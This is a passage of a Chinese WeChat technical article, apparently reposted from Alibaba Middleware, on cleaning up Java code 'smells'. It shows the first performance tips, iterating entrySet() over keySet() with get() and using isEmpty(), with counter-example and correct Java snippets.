data-ratio="1" data-type="jpeg" data-s="300,640" data-w="250" src="/upload/7ddc9700032e2c5cee163f1f1a37b46c.jpg"></p> <p style="text-align: center;color: rgb(51, 51, 51);clear: both;box-sizing: border-box;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;letter-spacing: 1px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;margin-top: 0px;max-width: 100%;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;padding-top: 0px;word-wrap: break-word;"><span style="margin: 0px;padding: 0px;font-size: 12px;word-wrap: break-word;max-width: 100%;box-sizing: border-box;">架构师之路-分享</span><span style="margin: 0px;padding: 0px;color: rgb(255, 76, 0);font-size: 12px;word-wrap: break-word;max-width: 100%;box-sizing: border-box;">可落地</span><span style="margin: 0px;padding: 0px;font-size: 12px;word-wrap: break-word;max-width: 100%;box-sizing: border-box;">的技术文章</span></span></p> <p style="background-color: transparent;box-sizing: border-box;clear: both;color: rgb(51, 51, 51);"><span style="box-sizing: border-box;font-size: 14px;letter-spacing: 1px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;margin-top: 0px;max-width: 100%;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;padding-top: 0px;text-decoration: none;word-wrap: break-word;"><br></span></p> <p style="background-color: transparent;box-sizing: border-box;clear: both;color: rgb(51, 51, 51);"><span style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);letter-spacing: 1px;font-size: 14px;text-decoration: none;word-wrap: break-word;max-width: 100%;box-sizing: border-box;">相关推荐：</span></p> <p style="background-color: transparent;box-sizing: border-box;clear: both;color: rgb(51, 51, 51);"><span style="box-sizing: border-box;font-size: 14px;letter-spacing: 1px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;margin-top: 0px;max-width: 100%;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;padding-top: 0px;text-decoration: none;word-wrap: break-word;"><span style="color: rgb(51, 51, 51);">《</span><a style="background-color: transparent;box-sizing: border-box;color: rgb(87, 107, 149);" href="http://mp.weixin.qq.com/s?__biz=MjM5ODYxMDA5OQ==&amp;mid=2651961763&amp;idx=1&amp;sn=ac77119dfc8b78a8275dc4b2e64d1d3f&amp;chksm=bd2d0c7f8a5a8569e6663cdde804a9ec078048e3e08b8522aefbb5057aded1dd9b853131e4e2&amp;scene=21#wechat_redirect" target="_blank"><span style="box-sizing: border-box;font-size: 14px;letter-spacing: 1px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;margin-top: 0px;max-width: 100%;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;padding-top: 0px;word-wrap: break-word;">负载均衡，必须要知道的5件事</span></a><span style="color: rgb(51, 51, 51);">》</span></span></p> <p style="background-color: transparent;box-sizing: border-box;clear: both;color: rgb(51, 51, 51);"><span style="box-sizing: border-box;font-size: 14px;letter-spacing: 1px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;margin-top: 0px;max-width: 100%;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;padding-top: 0px;text-decoration: none;word-wrap: break-word;">《</span><a style="box-sizing: border-box;color: rgb(87, 107, 149);font-size: 14px;letter-spacing: 1px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;margin-top: 0px;max-width: 100%;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;padding-top: 0px;text-decoration: none;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);word-wrap: break-word;" href="http://mp.weixin.qq.com/s?__biz=MjM5ODYxMDA5OQ==&amp;mid=2651961720&amp;idx=1&amp;sn=94d1e2b253b715368e6424ec37cd3a1a&amp;chksm=bd2d0ca48a5a85b21d9e7a7e54d69734d8d845ed085393246f2732f9154a145b8a71b6feecac&amp;scene=21#wechat_redirect" target="_blank"><span style="box-sizing: border-box;font-size: 14px;letter-spacing: 1px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;margin-top: 0px;max-width: 100%;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;padding-top: 0px;word-wrap: break-word;">微服务，到底解决什么问题</span></a><span style="box-sizing: border-box;font-size: 14px;letter-spacing: 1px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;margin-top: 0px;max-width: 100%;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;padding-top: 0px;text-decoration: none;word-wrap: break-word;">》</span></p> <p style="margin: 0px;padding: 0px;text-align: justify;color: rgb(51, 51, 51);text-transform: none;text-indent: 0px;letter-spacing: 0.48px;font-size: 17px;font-style: normal;font-variant: normal;font-weight: 400;text-decoration: none;word-spacing: 0px;white-space: normal;word-wrap: break-word;min-height: 17px;max-width: 677px;box-sizing: border-box;orphans: 2;-webkit-text-stroke-width: 0px;background-color: transparent;"><span style="box-sizing: border-box;font-size: 14px;letter-spacing: 1px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;margin-top: 0px;max-width: 100%;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;padding-top: 0px;text-decoration: none;word-wrap: break-word;">《</span><a style="box-sizing: border-box;color: rgb(87, 107, 149);font-size: 14px;letter-spacing: 1px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;margin-top: 0px;max-width: 100%;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;padding-top: 0px;text-decoration: none;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);word-wrap: break-word;" href="http://mp.weixin.qq.com/s?__biz=MjM5ODYxMDA5OQ==&amp;mid=2651961722&amp;idx=1&amp;sn=522b84bc7e4b226894212e74d17367f2&amp;chksm=bd2d0ca68a5a85b0f87da9e15f6a7253081ccf59430c13805f9cec0a0c58c7157dbdada96e16&amp;scene=21#wechat_redirect" target="_blank"><span style="box-sizing: border-box;font-size: 14px;letter-spacing: 1px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;margin-top: 0px;max-width: 100%;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;padding-top: 0px;word-wrap: break-word;">容量设计，是架构师最基本的基本功</span></a><span style="box-sizing: border-box;font-size: 14px;letter-spacing: 1px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;margin-top: 0px;max-width: 100%;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;padding-top: 0px;text-decoration: none;word-wrap: break-word;">》</span></p> <p style="margin: 0px;padding: 0px;text-align: justify;color: rgb(51, 51, 51);text-transform: none;text-indent: 0px;letter-spacing: 0.48px;font-size: 17px;font-style: normal;font-variant: normal;font-weight: 400;text-decoration: none;word-spacing: 0px;white-space: normal;word-wrap: break-word;min-height: 17px;max-width: 677px;box-sizing: border-box;orphans: 2;-webkit-text-stroke-width: 0px;background-color: transparent;"><span style="box-sizing: border-box;font-size: 14px;letter-spacing: 1px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;margin-top: 0px;max-width: 100%;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;padding-top: 0px;text-decoration: none;word-wrap: break-word;"><br></span></p> <p style="margin: 0px;padding: 0px;text-align: justify;color: rgb(51, 51, 51);text-transform: none;text-indent: 0px;letter-spacing: 0.48px;font-size: 17px;font-style: normal;font-variant: normal;font-weight: 400;text-decoration: none;word-spacing: 0px;white-space: normal;word-wrap: break-word;min-height: 17px;max-width: 677px;box-sizing: border-box;orphans: 2;-webkit-text-stroke-width: 0px;background-color: transparent;"><strong><span style="box-sizing: border-box;font-size: 14px;letter-spacing: 1px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;margin-top: 0px;max-width: 100%;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;padding-top: 0px;text-decoration: none;word-wrap: break-word;">讨论</span></strong><span style="box-sizing: border-box;font-size: 14px;letter-spacing: 1px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;margin-top: 0px;max-width: 100%;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;padding-top: 0px;text-decoration: none;word-wrap: break-word;">：你家的接入层技术，在哪个时代？</span><br></p>

<p data-mpa-powered-by="yiban.io"><br></p> <p style="white-space: normal;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;letter-spacing: 1px;line-height: 1.5em;"><span style="color: rgb(0, 0, 0);font-size: 14px;widows: 1;letter-spacing: 0.544px;">公众号后台回复“</span><strong style="color: rgb(0, 0, 0);font-size: 14px;widows: 1;letter-spacing: 0.544px;"><span style="color: rgb(201, 56, 28);">学习</span></strong><span style="color: rgb(0, 0, 0);font-size: 14px;widows: 1;letter-spacing: 0.544px;">”，获取作者独家秘制精品资料</span><br></p> <p style="white-space: normal;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: center;line-height: normal;"><br></p> <p style="white-space: normal;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: center;line-height: 2em;"><img class="" data-ratio="0.6666666666666666" data-type="png" data-w="710" src="/upload/15d922467a13a949ce32e3cbe32f3d2b.png" style="letter-spacing: 0.544px;display: block;visibility: visible !important;width:auto !important;max-width:100% !important;height:auto !important;" width="100%"></p> <p style="margin-bottom: 15px;white-space: normal;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: center;"><img class="rich_pages" data-ratio="0.6666666666666666" data-s="300,640" data-type="jpeg" data-w="1280" src="/upload/c5e1e9012504bbae6ff507af640e8681.jpg" style="box-shadow: rgb(20, 20, 20) 0em 0em 1em 0px;visibility: visible !important;width: 522.7px !important;"></p> <p style="white-space: normal;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: center;"><span style="color: rgb(25, 31, 37);font-size: 15px;letter-spacing: 0.5px;white-space: pre-wrap;">扫描下方海报二维码，试听课程：</span></p> <p style="white-space: normal;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: center;"><br></p> <p style="white-space: normal;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: center;"><img class="" data-copyright="0" data-cropselx1="1" data-cropselx2="267" data-cropsely1="0" data-cropsely2="471" data-ratio="0.6666666666666666" data-type="jpeg" data-w="750" src="/upload/9c42de166ac309987f94f8a0dee4bbc6.jpg" style="visibility: visible !important;width: 266px !important;"></p> <p style="white-space: normal;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: center;"><br></p> <p style="white-space: normal;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: center;"><img class="" data-ratio="0.6666666666666666" data-type="png" data-w="710" src="/upload/15d922467a13a949ce32e3cbe32f3d2b.png" style="letter-spacing: 0.544px;display: block;visibility: visible !important;width:auto !important;max-width:100% !important;height:auto !important;" width="100%"></p> <p style="text-align: right;"><span style="font-size: 15px;">本文来源：<span class="profile_nickname" style="font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; letter-spacing: 0.544px;">阿里巴巴中间件</span></span></p> <p style="text-align: right;"><span style="font-size: 15px;"><span class="profile_nickname" style="font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; letter-spacing: 0.544px;"><br></span></span></p> <p><br></p> <p style="font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);"><strong style="letter-spacing: 0.544px;color: rgb(0, 122, 170);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;"><span style="font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;">导读</span></strong><br></p> <hr style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px 0px;transform: scale(1, 0.5);"> <p dir="ltr" style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;"><br style="letter-spacing: 0.544px;"></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;">明代王阳明先生在《传习录》谈为学之道时说：</span></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;"><br></span></p> <blockquote style="color: rgba(0, 0, 0, 0.5);letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;"> <p style="line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;">私欲日生，如地上尘，一日不扫，便又有一层。着实用功，便见道无终穷，愈探愈深，必使精白无一毫不彻方可。</span></p> </blockquote> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;"><br></span></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;">代码中的"坏味道"，如"私欲"如"灰尘"，每天都在增加，一日不去清除，便会越累越多。</span></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;"><br></span></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;">如果用功去清除这些"坏味道"，不仅能提高自己的编码水平，也能使代码变得"精白无一毫不彻"。</span></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;"><br></span></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;">这里，整理了日常工作中的一些"坏味道"，及清理方法，供大家参考。</span></p> <p style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;"><br></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><strong><span style="font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;color: rgb(0, 122, 170);">让代码性能更高</span></strong></p> <hr style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px 0px;transform: scale(1, 0.5);"> <p dir="ltr" style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;"><br style="letter-spacing: 0.544px;"></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><strong><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 16px;">需要 Map 的主键和取值时，应该迭代 entrySet()</span></strong></p> <section style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;line-height: 1.75em;"></section> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;">当循环中只需要 Map 的主键时，迭代 keySet() 是正确的。</span></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;"><br></span></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;">但是，当需要主键和取值时，迭代 entrySet() 才是更高效的做法，比先迭代 keySet() 后再去 get 取值性能更佳。</span></p> <section style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;line-height: 1.75em;"> <br> </section> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><strong><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;">反例：</span></strong><span style="font-weight: 600;"></span></p> <pre class="" style="padding: 16px;overflow-wrap: normal;letter-spacing: 0.544px;word-spacing: normal;overflow: auto;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;font-size: 13.6px;line-height: 1.45;word-break: normal;color: rgb(0, 0, 0);background: rgba(246, 248, 250, 0.8);border-width: initial;border-style: none;border-color: initial;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;tab-size: 4;hyphens: none;"><p style="line-height: 2em;"><code class="" style="overflow-wrap: normal;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;color: inherit;background: 0px 0px transparent;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;word-spacing: normal;word-break: normal;line-height: inherit;tab-size: 4;hyphens: none;border-width: 0px;border-style: initial;border-color: initial;display: inline;overflow: visible;">Map<span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">&lt;</span>String<span class="" style="color: rgb(153, 153, 153);">,</span> String<span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">&gt;</span> map <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">=</span> <span class="" style="color: rgb(153, 153, 153);">...;</span><br><span class="" style="color: rgb(0, 119, 170);">for</span> <span class="" style="color: rgb(153, 153, 153);">(</span>String key <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">:</span> map<span class="" style="color: rgb(153, 153, 153);">.</span><span class="" style="color: rgb(221, 74, 104);">keySet</span><span class="" style="color: rgb(153, 153, 153);">())</span> <span class="" style="color: rgb(153, 153, 153);">{</span><br> String value <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">=</span> map<span class="" style="color: rgb(153, 153, 153);">.</span><span class="" style="color: rgb(221, 74, 104);">get</span><span class="" style="color: rgb(153, 153, 153);">(</span>key<span class="" style="color: rgb(153, 153, 153);">);</span><br> <span class="" style="color: rgb(153, 153, 153);">...</span><br><span class="" style="color: rgb(153, 153, 153);">}</span><br></code></p></pre> <p style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;"><br></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><strong><span style="font-size: 15px;">正例：</span></strong></p> <pre class="" style="padding: 16px;overflow-wrap: normal;letter-spacing: 0.544px;word-spacing: normal;overflow: auto;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;font-size: 13.6px;line-height: 1.45;word-break: normal;color: rgb(0, 0, 0);background: rgba(246, 248, 250, 0.8);border-width: initial;border-style: none;border-color: initial;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;tab-size: 4;hyphens: none;"><p style="line-height: 2em;"><code class="" style="overflow-wrap: normal;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;color: inherit;background: 0px 0px transparent;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;word-spacing: normal;word-break: normal;line-height: inherit;tab-size: 4;hyphens: none;border-width: 0px;border-style: initial;border-color: initial;display: inline;overflow: visible;">Map<span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">&lt;</span>String<span class="" style="color: rgb(153, 153, 153);">,</span> String<span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">&gt;</span> map <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">=</span> <span class="" style="color: rgb(153, 153, 153);">...;</span><br><span class="" style="color: rgb(0, 119, 170);">for</span> <span class="" style="color: rgb(153, 153, 153);">(</span>Map<span class="" style="color: rgb(153, 153, 153);">.</span>Entry<span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">&lt;</span>String<span class="" style="color: rgb(153, 153, 153);">,</span> String<span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">&gt;</span> entry <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">:</span> map<span class="" style="color: rgb(153, 153, 153);">.</span><span class="" style="color: rgb(221, 74, 104);">entrySet</span><span class="" style="color: rgb(153, 153, 153);">())</span> <span class="" style="color: rgb(153, 153, 153);">{</span><br> String key <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">=</span> entry<span class="" style="color: rgb(153, 153, 153);">.</span><span class="" style="color: rgb(221, 74, 104);">getKey</span><span class="" style="color: rgb(153, 153, 153);">();</span><br> String value <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">=</span> entry<span class="" style="color: rgb(153, 153, 153);">.</span><span class="" style="color: rgb(221, 74, 104);">getValue</span><span class="" style="color: rgb(153, 153, 153);">();</span><br> <span class="" style="color: rgb(153, 153, 153);">...</span><br></code></p><p><code class="" style="overflow-wrap: normal;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;color: inherit;background: 0px 0px transparent;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;word-spacing: normal;word-break: normal;line-height: inherit;tab-size: 4;hyphens: none;border-width: 0px;border-style: initial;border-color: initial;display: inline;overflow: visible;"><span class="" style="color: rgb(153, 153, 153);">}</span></code></p></pre> <p style="margin-bottom: 16px;letter-spacing: 0.544px;white-space: normal;font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;background-color: rgb(255, 255, 255);color: rgb(36, 41, 46);text-align: start;"><br></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><strong><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 16px;">应该使用Collection.isEmpty()检测空</span></strong></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74); font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif; font-size: 15px; letter-spacing: 0.544px; text-indent: 37px; white-space: pre-line;">使用 Collection.size() 来检测空逻辑上没有问题，但是使用 